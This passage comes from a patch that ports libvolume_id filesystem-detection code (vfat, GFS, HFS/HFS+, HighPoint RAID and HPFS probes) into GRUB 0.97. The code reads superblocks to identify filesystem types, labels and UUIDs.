++	uint8_t		fine_time_creat;
++	uint16_t	time_creat;
++	uint16_t	date_creat;
++	uint16_t	date_acc;
++	uint16_t	cluster_high;
++	uint16_t	time_write;
++	uint16_t	date_write;
++	uint16_t	cluster_low;
++	uint32_t	size;
++} PACKED;
++
++
++struct vfat_lfn_entry {
++	uint8_t		seq;
++	uint16_t	name0[5];
++	uint8_t		attr;
++	uint8_t		reserved;
++	uint8_t		cksum;
++	uint16_t	name1[6];
++	uint16_t	cluster;
++	uint16_t	name2[2];
++} PACKED;
++
++static uint8_t fat_lfn_checksum(const uint8_t name[11])
++{
++	uint8_t cksum = 0;
++	int i;
++
++	/* http://en.wikipedia.org/wiki/File_Allocation_Table */
++	for (i = 0; i < 11; i++)
++		cksum = ((cksum & 1) ? 0x80 : 0) + (cksum >> 1) + name[i];
++
++	return cksum;
++}
++
++static size_t fat_read_lfn(uint8_t *filename, size_t fnsize,
++			   struct vfat_dir_entry *direntry,
++			   struct vfat_dir_entry *entry)
++{
++	uint8_t buffer[VFAT_LFN_SEQ_MAX * VFAT_LFN_CHARS_PER_ENTRY * 2];
++	uint8_t expected_seq = 1;
++	uint8_t cksum;
++	size_t len = 0;
++	size_t fnlen = 0;
++
++	cksum = fat_lfn_checksum(entry->name);
++
++	while (--entry >= direntry) {
++		struct vfat_lfn_entry *lfn = (struct vfat_lfn_entry *) entry;
++
++		if (expected_seq > VFAT_LFN_SEQ_MAX)
++			break;
++
++		if ((lfn->attr & FAT_ATTR_MASK) != FAT_ATTR_LONG_NAME)
++			break;
++
++		if (lfn->cksum != cksum)
++			break;
++
++		if ((lfn->seq & VFAT_LFN_SEQ_MASK) != expected_seq++)
++			break;
++
++		if (lfn->cluster != 0)
++			break;
++
++		/* extra paranoia -- should never happen */
++		if (len + sizeof(lfn->name0) + sizeof(lfn->name1) +
++		    sizeof(lfn->name2) > sizeof(buffer))
++			break;
++
++		memcpy (&buffer[len], lfn->name0, sizeof(lfn->name0));
++		len += sizeof(lfn->name0);
++		memcpy (&buffer[len], lfn->name1, sizeof(lfn->name1));
++		len += sizeof(lfn->name1);
++		memcpy (&buffer[len], lfn->name2, sizeof(lfn->name2));
++		len += sizeof(lfn->name2);
++
++		if (lfn->seq & VFAT_LFN_SEQ_LAST) {
++			fnlen = volume_id_set_unicode16(filename, fnsize, buffer, LE, len);
++			break;
++		}
++	}
++
++	return fnlen;
++}
++
++static size_t fat_read_filename(uint8_t *filename, size_t fnsize,
++				struct vfat_dir_entry *direntry, struct vfat_dir_entry *entry)
++{
++	size_t len;
++	int i;
++
++	/* check if maybe we have LFN entries */
++	len = fat_read_lfn(filename, fnsize, direntry, entry);
++	if (len > 0)
++		goto out;
++
++	/* else, read the normal 8.3 name */
++	for (i = 0; i < 11; i++) {
++		if (entry->lowercase & ((i < 8) ? VFAT_LOWERCASE_NAME : VFAT_LOWERCASE_EXT))
++			filename[i] = tolower(entry->name[i]);
++		else
++			filename[i] = entry->name[i];
++	}
++	len = 11;
++
++out:
++	filename[len] = '\0';
++	return len;
++}
++
++/* fills filename, returns string length */
++static size_t get_fat_attr_volume_id(uint8_t *filename, size_t fnsize,
++				     struct vfat_dir_entry *direntry, unsigned int count)
++{
++	unsigned int i;
++
++	for (i = 0; i < count; i++) {
++		/* end marker */
++		if (direntry[i].name[0] == 0x00) {
++			dbg("end of dir");
++			break;
++		}
++
++		/* empty entry */
++		if (direntry[i].name[0] == FAT_ENTRY_FREE)
++			continue;
++
++		/* long name */
++		if ((direntry[i].attr & FAT_ATTR_MASK) == FAT_ATTR_LONG_NAME)
++			continue;
++
++		if ((direntry[i].attr & (FAT_ATTR_VOLUME_ID | FAT_ATTR_DIR)) == FAT_ATTR_VOLUME_ID) {
++			/* labels do not have file data */
++			if (direntry[i].cluster_high != 0 || direntry[i].cluster_low != 0)
++				continue;
++
++			dbg("found ATTR_VOLUME_ID id in root dir");
++			return fat_read_filename(filename, fnsize, direntry, &direntry[i]);
++		}
++
++		dbg("skip dir entry");
++	}
++
++	return 0;
++}
++
++int volume_id_probe_vfat(struct volume_id *id, uint64_t off, uint64_t size)
++{
++	uint8_t filename[255 * 3];
++	struct vfat_super_block *vs;
++	struct vfat_dir_entry *direntry;
++	struct fat32_fsinfo *fsinfo;
++	uint16_t sector_size;
++	uint16_t dir_entries;
++	uint32_t sect_count;
++	uint16_t reserved;
++	uint32_t fat_size;
++	uint32_t root_cluster;
++	uint32_t dir_size;
++	uint32_t cluster_count;
++	uint16_t fat_length;
++	uint32_t fat32_length;
++	uint64_t root_start;
++	uint32_t start_data_sect;
++	uint16_t root_dir_entries;
++	uint16_t fsinfo_sect;
++	uint8_t *buf;
++	uint32_t buf_size;
++	uint32_t next;
++	int maxloop;
++	size_t fnlen;
++
++	info("probing at offset 0x%llx", (unsigned long long) off);
++
++	buf = volume_id_get_buffer(id, off, 0x400);
++	if (buf == NULL)
++		return -1;
++
++	/* check signature */
++	if (buf[510] != 0x55 || buf[511] != 0xaa)
++		return -1;
++
++	vs = (struct vfat_super_block *) buf;
++	if (memcmp((char*)vs->sysid, "NTFS", 4) == 0)
++		return -1;
++
++	/* believe only that's fat, don't trust the version */
++	if (memcmp((char*)vs->type.fat32.magic, "MSWIN", 5) == 0)
++		goto magic;
++
++	if (memcmp((char*)vs->type.fat32.magic, "FAT32   ", 8) == 0)
++		goto magic;
++
++	if (memcmp((char*)vs->type.fat.magic, "FAT16   ", 8) == 0)
++		goto magic;
++
++	if (memcmp((char*)vs->type.fat.magic, "MSDOS", 5) == 0)
++		goto magic;
++
++	if (memcmp((char*)vs->type.fat.magic, "FAT12   ", 8) == 0)
++		goto magic;
++
++	/* some old floppies don't have a magic, expect the boot jump address to match */
++	if ((vs->boot_jump[0] != 0xeb || vs->boot_jump[2] != 0x90) &&
++	     vs->boot_jump[0] != 0xe9)
++		return -1;
++
++magic:
++	/* reserverd sector count */
++	if (!vs->reserved)
++		return -1;
++
++	/* fat count */
++	if (!vs->fats)
++		return -1;
++
++	/* media check */
++	if (vs->media < 0xf8 && vs->media != 0xf0)
++		return -1;
++
++	/* cluster size check */
++	if (vs->sectors_per_cluster == 0 ||
++	    (vs->sectors_per_cluster & (vs->sectors_per_cluster-1)))
++		return -1;
++
++	/* sector size check */
++	sector_size = le16_to_cpu(vs->sector_size);
++	if (sector_size == 0 || ((sector_size & (sector_size-1)) != 0))
++		return -1;
++
++	dbg("sector_size 0x%x", sector_size);
++	dbg("sectors_per_cluster 0x%x", vs->sectors_per_cluster);
++
++	dir_entries = le16_to_cpu(vs->dir_entries);
++	reserved = le16_to_cpu(vs->reserved);
++	dbg("reserved 0x%x", reserved);
++
++	sect_count = le16_to_cpu(vs->sectors);
++	if (sect_count == 0)
++		sect_count = le32_to_cpu(vs->total_sect);
++	dbg("sect_count 0x%x", sect_count);
++
++	fat_length = le16_to_cpu(vs->fat_length);
++	dbg("fat_length 0x%x", fat_length);
++	fat32_length = le32_to_cpu(vs->type.fat32.fat32_length);
++	dbg("fat32_length 0x%x", fat32_length);
++
++	if (fat_length)
++		fat_size = fat_length * vs->fats;
++	else if (fat32_length)
++		fat_size = fat32_length * vs->fats;
++	else
++		return -1;
++	dbg("fat_size 0x%x", fat_size);
++
++	dir_size = ((dir_entries * sizeof(struct vfat_dir_entry)) +
++			(sector_size-1)) / sector_size;
++	dbg("dir_size 0x%x", dir_size);
++
++	cluster_count = sect_count - (reserved + fat_size + dir_size);
++	cluster_count /= vs->sectors_per_cluster;
++	dbg("cluster_count 0x%x", cluster_count);
++
++	/* must be FAT32 */
++	if (!fat_length && fat32_length)
++		goto fat32;
++
++	/* cluster_count tells us the format */
++	if (cluster_count < FAT12_MAX)
++		strcpy(id->type_version, "FAT12");
++	else if (cluster_count < FAT16_MAX)
++		strcpy(id->type_version, "FAT16");
++	else
++		goto fat32;
++
++	/* the label may be an attribute in the root directory */
++	root_start = (reserved + fat_size) * sector_size;
++	dbg("root dir start 0x%llx", (unsigned long long) root_start);
++	root_dir_entries = le16_to_cpu(vs->dir_entries);
++	dbg("expected entries 0x%x", root_dir_entries);
++
++	buf_size = root_dir_entries * sizeof(struct vfat_dir_entry);
++	buf = volume_id_get_buffer(id, off + root_start, buf_size);
++	if (buf == NULL)
++		goto found;
++
++	direntry = (struct vfat_dir_entry*) buf;
++
++	fnlen = get_fat_attr_volume_id(filename, sizeof(filename), direntry, root_dir_entries);
++
++	vs = (struct vfat_super_block *) volume_id_get_buffer(id, off, 0x200);
++	if (vs == NULL)
++		return -1;
++
++	if (fnlen > 0 && memcmp((char*)filename, "NO NAME    ", 11) != 0) {
++		volume_id_set_label_raw(id, filename, fnlen);
++		volume_id_set_label_string(id, filename, fnlen);
++	} else if (memcmp((char*)vs->type.fat.label, "NO NAME    ", 11) != 0) {
++		volume_id_set_label_raw(id, vs->type.fat.label, 11);
++		volume_id_set_label_string(id, vs->type.fat.label, 11);
++	}
++	volume_id_set_uuid(id, vs->type.fat.serno, 0, UUID_DOS);
++	goto found;
++
++fat32:
++	/* FAT32 should have a valid signature in the fsinfo block */
++	fsinfo_sect = le16_to_cpu(vs->type.fat32.fsinfo_sector);
++	buf = volume_id_get_buffer(id, off + (fsinfo_sect * sector_size), 0x200);
++	if (buf == NULL)
++		return -1;
++	fsinfo = (struct fat32_fsinfo *) buf;
++	if (memcmp((char*)fsinfo->signature1, "\x52\x52\x61\x41", 4) != 0)
++		return -1;
++	if (memcmp((char*)fsinfo->signature2, "\x72\x72\x41\x61", 4) != 0)
++		return -1 ;
++
++	vs = (struct vfat_super_block *) volume_id_get_buffer(id, off, 0x200);
++	if (vs == NULL)
++		return -1;
++
++	strcpy(id->type_version, "FAT32");
++
++	/* FAT32 root dir is a cluster chain like any other directory */
++	buf_size = vs->sectors_per_cluster * sector_size;
++	root_cluster = le32_to_cpu(vs->type.fat32.root_cluster);
++	dbg("root dir cluster %u", root_cluster);
++	start_data_sect = reserved + fat_size;
++
++	next = root_cluster;
++	maxloop = 100;
++	while (--maxloop) {
++		uint32_t next_sect_off;
++		uint64_t next_off;
++		uint64_t fat_entry_off;
++		int count;
++
++		dbg("next cluster %u", next);
++		next_sect_off = (next - 2) * vs->sectors_per_cluster;
++		next_off = (start_data_sect + next_sect_off) * sector_size;
++		dbg("cluster offset 0x%llx", (unsigned long long) next_off);
++
++		/* get cluster */
++		buf = volume_id_get_buffer(id, off + next_off, buf_size);
++		if (buf == NULL)
++			goto found;
++
++		direntry = (struct vfat_dir_entry*) buf;
++		count = buf_size / sizeof(struct vfat_dir_entry);
++		dbg("expected entries 0x%x", count);
++
++		fnlen = get_fat_attr_volume_id(filename, sizeof(filename), direntry, count);
++		if (fnlen > 0)
++			break;
++
++		/* get FAT entry */
++		fat_entry_off = (reserved * sector_size) + (next * sizeof(uint32_t));
++		buf = volume_id_get_buffer(id, off + fat_entry_off, buf_size);
++		if (buf == NULL)
++			goto found;
++
++		/* set next cluster */
++		next = le32_to_cpu(*((uint32_t *) buf)) & 0x0fffffff;
++		if (next < 2 || next >= 0x0ffffff0)
++			break;
++	}
++	if (maxloop == 0)
++		dbg("reached maximum follow count of root cluster chain, give up");
++
++	vs = (struct vfat_super_block *) volume_id_get_buffer(id, off, 0x200);
++	if (vs == NULL)
++		return -1;
++
++	if (fnlen > 0 && memcmp((char*)filename, "NO NAME    ", 11) != 0) {
++		volume_id_set_label_raw(id, filename, fnlen);
++		volume_id_set_label_string(id, filename, fnlen);
++	} else if (memcmp((char*)vs->type.fat32.label, "NO NAME    ", 11) != 0) {
++		volume_id_set_label_raw(id, vs->type.fat32.label, 11);
++		volume_id_set_label_string(id, vs->type.fat32.label, 11);
++	}
++	volume_id_set_uuid(id, vs->type.fat32.serno, 0, UUID_DOS);
++
++found:
++	volume_id_set_usage(id, VOLUME_ID_FILESYSTEM);
++	id->type = "vfat";
++
++	return 0;
++}
+
+=== added file 'libvolume_id/gfs.c'
+--- grub-0.97.orig/libvolume_id/gfs.c	1970-01-01 00:00:00 +0000
++++ grub-0.97/libvolume_id/gfs.c	2008-07-15 12:31:43 +0000
+@@ -0,0 +1,115 @@
++/*
++ * volume_id - reads filesystem label and uuid
++ *
++ * Copyright (C) 2006 Red Hat, Inc. <redhat.com>
++ * Grub Port, Copyright (C) 2008 Canonical Ltd.
++ *
++ *	This program is free software; you can redistribute it and/or modify it
++ *	under the terms of the GNU General Public License as published by the
++ *	Free Software Foundation version 2 of the License.
++ */
++
++#ifndef _GNU_SOURCE
++#define _GNU_SOURCE 1
++#endif
++
++#ifdef HAVE_CONFIG_H
++#  include <config.h>
++#endif
++
++#include "volume_id.h"
++#include "util.h"
++#include "shared.h"
++
++/* Common gfs/gfs2 constants: */
++#define GFS_MAGIC		0x01161970
++#define GFS_DEFAULT_BSIZE	4096
++#define GFS_SUPERBLOCK_OFFSET	(0x10 * GFS_DEFAULT_BSIZE)
++#define GFS_METATYPE_SB		1
++#define GFS_FORMAT_SB		100
++#define GFS_LOCKNAME_LEN	64
++
++/* gfs1 constants: */
++#define GFS_FORMAT_FS		1309
++#define GFS_FORMAT_MULTI	1401
++/* gfs2 constants: */
++#define GFS2_FORMAT_FS		1801
++#define GFS2_FORMAT_MULTI	1900
++
++struct gfs2_meta_header {
++	uint32_t mh_magic;
++	uint32_t mh_type;
++	uint64_t __pad0;          /* Was generation number in gfs1 */
++	uint32_t mh_format;
++	uint32_t __pad1;          /* Was incarnation number in gfs1 */
++};
++
++struct gfs2_inum {
++	uint64_t no_formal_ino;
++	uint64_t no_addr;
++};
++
++struct gfs2_sb {
++	struct gfs2_meta_header sb_header;
++
++	uint32_t sb_fs_format;
++	uint32_t sb_multihost_format;
++	uint32_t  __pad0;  /* Was superblock flags in gfs1 */
++
++	uint32_t sb_bsize;
++	uint32_t sb_bsize_shift;
++	uint32_t __pad1;   /* Was journal segment size in gfs1 */
++
++	struct gfs2_inum sb_master_dir; /* Was jindex dinode in gfs1 */
++	struct gfs2_inum __pad2; /* Was rindex dinode in gfs1 */
++	struct gfs2_inum sb_root_dir;
++
++	char sb_lockproto[GFS_LOCKNAME_LEN];
++	char sb_locktable[GFS_LOCKNAME_LEN];
++	/* In gfs1, quota and license dinodes followed */
++} PACKED;
++
++static int volume_id_probe_gfs_generic(struct volume_id *id, uint64_t off, int vers)
++{
++	struct gfs2_sb *sbd;
++
++	info("probing at offset 0x%llx", (unsigned long long) off);
++
++	sbd = (struct gfs2_sb *)
++		volume_id_get_buffer(id, off + GFS_SUPERBLOCK_OFFSET, sizeof(struct gfs2_sb));
++	if (sbd == NULL)
++		return -1;
++
++	if (be32_to_cpu(sbd->sb_header.mh_magic) == GFS_MAGIC &&
++		be32_to_cpu(sbd->sb_header.mh_type) == GFS_METATYPE_SB &&
++		be32_to_cpu(sbd->sb_header.mh_format) == GFS_FORMAT_SB) {
++		if (vers == 1) {
++			if (be32_to_cpu(sbd->sb_fs_format) != GFS_FORMAT_FS ||
++				be32_to_cpu(sbd->sb_multihost_format) != GFS_FORMAT_MULTI)
++				return -1; /* not gfs1 */
++			id->type = "gfs";
++		}
++		else if (vers == 2) {
++			if (be32_to_cpu(sbd->sb_fs_format) != GFS2_FORMAT_FS ||
++				be32_to_cpu(sbd->sb_multihost_format) != GFS2_FORMAT_MULTI)
++				return -1; /* not gfs2 */
++			id->type = "gfs2";
++		}
++		else
++			return -1;
++		strcpy(id->type_version, "1");
++		volume_id_set_usage(id, VOLUME_ID_FILESYSTEM);
++		return 0;
++	}
++	return -1;
++}
++
++int volume_id_probe_gfs(struct volume_id *id, uint64_t off, uint64_t size)
++{
++	return volume_id_probe_gfs_generic(id, off, 1);
++}
++
++int volume_id_probe_gfs2(struct volume_id *id, uint64_t off, uint64_t size)
++{
++	return volume_id_probe_gfs_generic(id, off, 2);
++}
+
+=== added file 'libvolume_id/hfs.c'
+--- grub-0.97.orig/libvolume_id/hfs.c	1970-01-01 00:00:00 +0000
++++ grub-0.97/libvolume_id/hfs.c	2008-07-15 12:31:43 +0000
+@@ -0,0 +1,318 @@
++/*
++ * volume_id - reads filesystem label and uuid
++ *
++ * Copyright (C) 2004 Kay Sievers <kay.sievers@vrfy.org>
++ * Grub Port, Copyright (C) 2008 Canonical Ltd.
++ *
++ *	This program is free software; you can redistribute it and/or modify it
++ *	under the terms of the GNU General Public License as published by the
++ *	Free Software Foundation version 2 of the License.
++ */
++
++#ifndef _GNU_SOURCE
++#define _GNU_SOURCE 1
++#endif
++
++#ifdef HAVE_CONFIG_H
++#  include <config.h>
++#endif
++
++#include "volume_id.h"
++#include "util.h"
++#include "shared.h"
++
++struct hfs_finder_info{
++	uint32_t	boot_folder;
++	uint32_t	start_app;
++	uint32_t	open_folder;
++	uint32_t	os9_folder;
++	uint32_t	reserved;
++	uint32_t	osx_folder;
++	uint8_t		id[8];
++} PACKED;
++
++static struct hfs_mdb {
++	uint8_t		signature[2];
++	uint32_t	cr_date;
++	uint32_t	ls_Mod;
++	uint16_t	atrb;
++	uint16_t	nm_fls;
++	uint16_t	vbm_st;
++	uint16_t	alloc_ptr;
++	uint16_t	nm_al_blks;
++	uint32_t	al_blk_size;
++	uint32_t	clp_size;
++	uint16_t	al_bl_st;
++	uint32_t	nxt_cnid;
++	uint16_t	free_bks;
++	uint8_t		label_len;
++	uint8_t		label[27];
++	uint32_t	vol_bkup;
++	uint16_t	vol_seq_num;
++	uint32_t	wr_cnt;
++	uint32_t	xt_clump_size;
++	uint32_t	ct_clump_size;
++	uint16_t	num_root_dirs;
++	uint32_t	file_count;
++	uint32_t	dir_count;
++	struct hfs_finder_info finder_info;
++	uint8_t		embed_sig[2];
++	uint16_t	embed_startblock;
++	uint16_t	embed_blockcount;
++} PACKED *hfs;
++
++struct hfsplus_bnode_descriptor {
++	uint32_t	next;
++	uint32_t	prev;
++	uint8_t		type;
++	uint8_t		height;
++	uint16_t	num_recs;
++	uint16_t	reserved;
++} PACKED;
++
++struct hfsplus_bheader_record {
++	uint16_t	depth;
++	uint32_t	root;
++	uint32_t	leaf_count;
++	uint32_t	leaf_head;
++	uint32_t	leaf_tail;
++	uint16_t	node_size;
++} PACKED;
++
++struct hfsplus_catalog_key {
++	uint16_t	key_len;
++	uint32_t	parent_id;
++	uint16_t	unicode_len;
++	uint8_t		unicode[255 * 2];
++} PACKED;
++
++struct hfsplus_extent {
++	uint32_t	start_block;
++	uint32_t	block_count;
++} PACKED;
++
++#define HFSPLUS_EXTENT_COUNT		8
++struct hfsplus_fork {
++	uint64_t	total_size;
++	uint32_t	clump_size;
++	uint32_t	total_blocks;
++	struct hfsplus_extent extents[HFSPLUS_EXTENT_COUNT];
++} PACKED;
++
++static struct hfsplus_vol_header {
++	uint8_t		signature[2];
++	uint16_t	version;
++	uint32_t	attributes;
++	uint32_t	last_mount_vers;
++	uint32_t	reserved;
++	uint32_t	create_date;
++	uint32_t	modify_date;
++	uint32_t	backup_date;
++	uint32_t	checked_date;
++	uint32_t	file_count;
++	uint32_t	folder_count;
++	uint32_t	blocksize;
++	uint32_t	total_blocks;
++	uint32_t	free_blocks;
++	uint32_t	next_alloc;
++	uint32_t	rsrc_clump_sz;
++	uint32_t	data_clump_sz;
++	uint32_t	next_cnid;
++	uint32_t	write_count;
++	uint64_t	encodings_bmp;
++	struct hfs_finder_info finder_info;
++	struct hfsplus_fork alloc_file;
++	struct hfsplus_fork ext_file;
++	struct hfsplus_fork cat_file;
++	struct hfsplus_fork attr_file;
++	struct hfsplus_fork start_file;
++} PACKED *hfsplus;
++
++#define HFS_SUPERBLOCK_OFFSET		0x400
++#define HFS_NODE_LEAF			0xff
++#define HFSPLUS_POR_CNID		1
++
++static void hfsid_set_uuid(struct volume_id *id, const uint8_t *hfs_id)
++{
++#if 0
++	MD5_CTX md5c;
++	static const uint8_t hash_init[16] = {
++		0xb3, 0xe2, 0x0f, 0x39, 0xf2, 0x92, 0x11, 0xd6,
++		0x97, 0xa4, 0x00, 0x30, 0x65, 0x43, 0xec, 0xac
++	};
++	uint8_t uuid[16];
++
++	if (*((uint64_t *)hfs_id) == 0)
++		return;
++
++	MD5_Init(&md5c);
++	MD5_Update(&md5c, &hash_init, 16);
++	MD5_Update(&md5c, hfs_id, 8);
++	MD5_Final(uuid, &md5c);
++
++	uuid[6] = 0x30 | (uuid[6] & 0x0f);
++	uuid[8] = 0x80 | (uuid[8] & 0x3f);
++	volume_id_set_uuid(id, uuid, UUID_DCE);
++#endif
++
++	volume_id_set_uuid(id, hfs_id, 0, UUID_64BIT_BE);
++}
++
++int volume_id_probe_hfs_hfsplus(struct volume_id *id, uint64_t off, uint64_t size)
++{
++	unsigned int blocksize;
++	unsigned int cat_block;
++	unsigned int ext_block_start;
++	unsigned int ext_block_count;
++	int ext;
++	unsigned int leaf_node_head;
++	unsigned int leaf_node_count;
++	unsigned int leaf_node_size;
++	unsigned int leaf_block;
++	uint64_t leaf_off;
++	unsigned int alloc_block_size;
++	unsigned int alloc_first_block;
++	unsigned int embed_first_block;
++	unsigned int record_count;
++	struct hfsplus_bnode_descriptor *descr;
++	struct hfsplus_bheader_record *bnode;
++	struct hfsplus_catalog_key *key;
++	unsigned int label_len;
++	struct hfsplus_extent extents[HFSPLUS_EXTENT_COUNT];
++	const uint8_t *buf;
++
++	info("probing at offset 0x%llx", (unsigned long long) off);
++
++	buf = volume_id_get_buffer(id, off + HFS_SUPERBLOCK_OFFSET, 0x200);
++	if (buf == NULL)
++                return -1;
++
++	hfs = (struct hfs_mdb *) buf;
++	if (memcmp((char *)hfs->signature, "BD", 2) != 0)
++		goto checkplus;
++
++	/* it may be just a hfs wrapper for hfs+ */
++	if (memcmp((char *)hfs->embed_sig, "H+", 2) == 0) {
++		alloc_block_size = be32_to_cpu(hfs->al_blk_size);
++		dbg("alloc_block_size 0x%x", alloc_block_size);
++
++		alloc_first_block = be16_to_cpu(hfs->al_bl_st);
++		dbg("alloc_first_block 0x%x", alloc_first_block);
++
++		embed_first_block = be16_to_cpu(hfs->embed_startblock);
++		dbg("embed_first_block 0x%x", embed_first_block);
++
++		off += (alloc_first_block * 512) +
++		       (embed_first_block * alloc_block_size);
++		dbg("hfs wrapped hfs+ found at offset 0x%llx", (unsigned long long) off);
++
++		buf = volume_id_get_buffer(id, off + HFS_SUPERBLOCK_OFFSET, 0x200);
++		if (buf == NULL)
++			return -1;
++		goto checkplus;
++	}
++
++	if (hfs->label_len > 0 && hfs->label_len < 28) {
++		volume_id_set_label_raw(id, hfs->label, hfs->label_len);
++		volume_id_set_label_string(id, hfs->label, hfs->label_len) ;
++	}
++
++	hfsid_set_uuid(id, hfs->finder_info.id);
++
++	volume_id_set_usage(id, VOLUME_ID_FILESYSTEM);
++	id->type = "hfs";
++
++	return 0;
++
++checkplus:
++	hfsplus = (struct hfsplus_vol_header *) buf;
++	if (memcmp((char *)hfsplus->signature, "H+", 2) == 0)
++		goto hfsplus;
++	if (memcmp((char *)hfsplus->signature, "HX", 2) == 0)
++		goto hfsplus;
++	return -1;
++
++hfsplus:
++	hfsid_set_uuid(id, hfsplus->finder_info.id);
++
++	blocksize = be32_to_cpu(hfsplus->blocksize);
++	dbg("blocksize %u", blocksize);
++
++	memcpy(extents, hfsplus->cat_file.extents, sizeof(extents));
++	cat_block = be32_to_cpu(extents[0].start_block);
++	dbg("catalog start block 0x%x", cat_block);
++
++	buf = volume_id_get_buffer(id, off + (cat_block * blocksize), 0x2000);
++	if (buf == NULL)
++		goto found;
++
++	bnode = (struct hfsplus_bheader_record *)
++		&buf[sizeof(struct hfsplus_bnode_descriptor)];
++
++	leaf_node_head = be32_to_cpu(bnode->leaf_head);
++	dbg("catalog leaf node 0x%x", leaf_node_head);
++
++	leaf_node_size = be16_to_cpu(bnode->node_size);
++	dbg("leaf node size 0x%x", leaf_node_size);
++
++	leaf_node_count = be32_to_cpu(bnode->leaf_count);
++	dbg("leaf node count 0x%x", leaf_node_count);
++	if (leaf_node_count == 0)
++		goto found;
++
++	leaf_block = (leaf_node_head * leaf_node_size) / blocksize;
++
++	/* get physical location */
++	for (ext = 0; ext < HFSPLUS_EXTENT_COUNT; ext++) {
++		ext_block_start = be32_to_cpu(extents[ext].start_block);
++		ext_block_count = be32_to_cpu(extents[ext].block_count);
++		dbg("extent start block 0x%x, count 0x%x", ext_block_start, ext_block_count);
++
++		if (ext_block_count == 0)
++			goto found;
++
++		/* this is our extent */
++		if (leaf_block < ext_block_count)
++			break;
++
++		leaf_block -= ext_block_count;
++	}
++	if (ext == HFSPLUS_EXTENT_COUNT)
++		goto found;
++	dbg("found block in extent %i", ext);
++
++	leaf_off = (ext_block_start + leaf_block) * blocksize;
++
++	buf = volume_id_get_buffer(id, off + leaf_off, leaf_node_size);
++	if (buf == NULL)
++		goto found;
++
++	descr = (struct hfsplus_bnode_descriptor *) buf;
++	dbg("descriptor type 0x%x", descr->type);
++
++	record_count = be16_to_cpu(descr->num_recs);
++	dbg("number of records %u", record_count);
++	if (record_count == 0)
++		goto found;
++
++	if (descr->type != HFS_NODE_LEAF)
++		goto found;
++
++	key = (struct hfsplus_catalog_key *)
++		&buf[sizeof(struct hfsplus_bnode_descriptor)];
++
++	dbg("parent id 0x%x", be32_to_cpu(key->parent_id));
++	if (be32_to_cpu(key->parent_id) != HFSPLUS_POR_CNID)
++		goto found;
++
++	label_len = be16_to_cpu(key->unicode_len) * 2;
++	dbg("label unicode16 len %i", label_len);
++	volume_id_set_label_raw(id, key->unicode, label_len);
++	volume_id_set_label_unicode16(id, key->unicode, BE, label_len);
++
++found:
++	volume_id_set_usage(id, VOLUME_ID_FILESYSTEM);
++	id->type = "hfsplus";
++
++	return 0;
++}
+
+=== added file 'libvolume_id/highpoint.c'
+--- grub-0.97.orig/libvolume_id/highpoint.c	1970-01-01 00:00:00 +0000
++++ grub-0.97/libvolume_id/highpoint.c	2008-07-15 12:31:43 +0000
+@@ -0,0 +1,91 @@
++/*
++ * volume_id - reads filesystem label and uuid
++ *
++ * Copyright (C) 2004 Kay Sievers <kay.sievers@vrfy.org>
++ * Grub Port, Copyright (C) 2008 Canonical Ltd.
++ *
++ *	This program is free software; you can redistribute it and/or modify it
++ *	under the terms of the GNU General Public License as published by the
++ *	Free Software Foundation version 2 of the License.
++ */
++
++#ifndef _GNU_SOURCE
++#define _GNU_SOURCE 1
++#endif
++
++#ifdef HAVE_CONFIG_H
++#  include <config.h>
++#endif
++
++#include "volume_id.h"
++#include "util.h"
++#include "shared.h"
++
++struct hpt37x_meta {
++	uint8_t		filler1[32];
++	uint32_t	magic;
++} PACKED;
++
++struct hpt45x_meta {
++	uint32_t	magic;
++} PACKED;
++
++#define HPT37X_CONFIG_OFF		0x1200
++#define HPT37X_MAGIC_OK			0x5a7816f0
++#define HPT37X_MAGIC_BAD		0x5a7816fd
++
++#define HPT45X_MAGIC_OK			0x5a7816f3
++#define HPT45X_MAGIC_BAD		0x5a7816fd
++
++
++int volume_id_probe_highpoint_37x_raid(struct volume_id *id, uint64_t off, uint64_t size)
++{
++	const uint8_t *buf;
++	struct hpt37x_meta *hpt;
++	uint32_t magic;
++
++	info("probing at offset 0x%llx", (unsigned long long) off);
++
++	buf = volume_id_get_buffer(id, off + HPT37X_CONFIG_OFF, 0x200);
++	if (buf == NULL)
++		return -1;
++
++	hpt = (struct hpt37x_meta *) buf;
++	magic = le32_to_cpu(hpt->magic);
++	if (magic != HPT37X_MAGIC_OK && magic != HPT37X_MAGIC_BAD)
++		return -1;
++
++	volume_id_set_usage(id, VOLUME_ID_RAID);
++	id->type = "highpoint_raid_member";
++
++	return 0;
++}
++
++int volume_id_probe_highpoint_45x_raid(struct volume_id *id, uint64_t off, uint64_t size)
++{
++	const uint8_t *buf;
++	struct hpt45x_meta *hpt;
++	uint64_t meta_off;
++	uint32_t magic;
++
++	dbg("probing at offset 0x%llx, size 0x%llx",
++	    (unsigned long long) off, (unsigned long long) size);
++
++	if (size < 0x10000)
++		return -1;
++
++	meta_off = ((size / 0x200)-11) * 0x200;
++	buf = volume_id_get_buffer(id, off + meta_off, 0x200);
++	if (buf == NULL)
++		return -1;
++
++	hpt = (struct hpt45x_meta *) buf;
++	magic = le32_to_cpu(hpt->magic);
++	if (magic != HPT45X_MAGIC_OK && magic != HPT45X_MAGIC_BAD)
++		return -1;
++
++	volume_id_set_usage(id, VOLUME_ID_RAID);
++	id->type = "highpoint_raid_member";
++
++	return 0;
++}
+
+=== added file 'libvolume_id/hpfs.c'
+--- grub-0.97.orig/libvolume_id/hpfs.c	1970-01-01 00:00:00 +0000
++++ grub-0.97/libvolume_id/hpfs.c	2008-07-15 12:31:43 +0000
+@@ -0,0 +1,51 @@
++/*
++ * volume_id - reads filesystem label and uuid
++ *
++ * Copyright (C) 2005 Kay Sievers <kay.sievers@vrfy.org>
++ * Grub Port, Copyright (C) 2008 Canonical Ltd.
++ *
++ *	This program is free software; you can redistribute it and/or modify it
++ *	under the terms of the GNU General Public License as published by the
++ *	Free Software Foundation version 2 of the License.
++ */
++
++#ifndef _GNU_SOURCE
++#define _GNU_SOURCE 1
++#endif
++
++#ifdef HAVE_CONFIG_H
++#  include <config.h>
++#endif
++
++#include "volume_id.h"
++#include "util.h"
++#include "shared.h"
++
++struct hpfs_super
++{
++	uint8_t		magic[4];
++	uint8_t		version;
++} PACKED;
++
++#define HPFS_SUPERBLOCK_OFFSET			0x2000
++
++int volume_id_probe_hpfs(struct volume_id *id, uint64_t off, uint64_t size)
++{
++	struct hpfs_super *hs;
++
++	info("probing at offset 0x%llx", (unsigned long long) off);
++
++	hs = (struct hpfs_super *) volume_id_get_buffer(id, off + HPFS_SUPERBLOCK_OFFSET, 0x200);
++	if (hs == NULL)
++		return -1;
++
++	if (memcmp((char *)hs->magic, "\x49\xe8\x95\xf9", 4) == 0) {
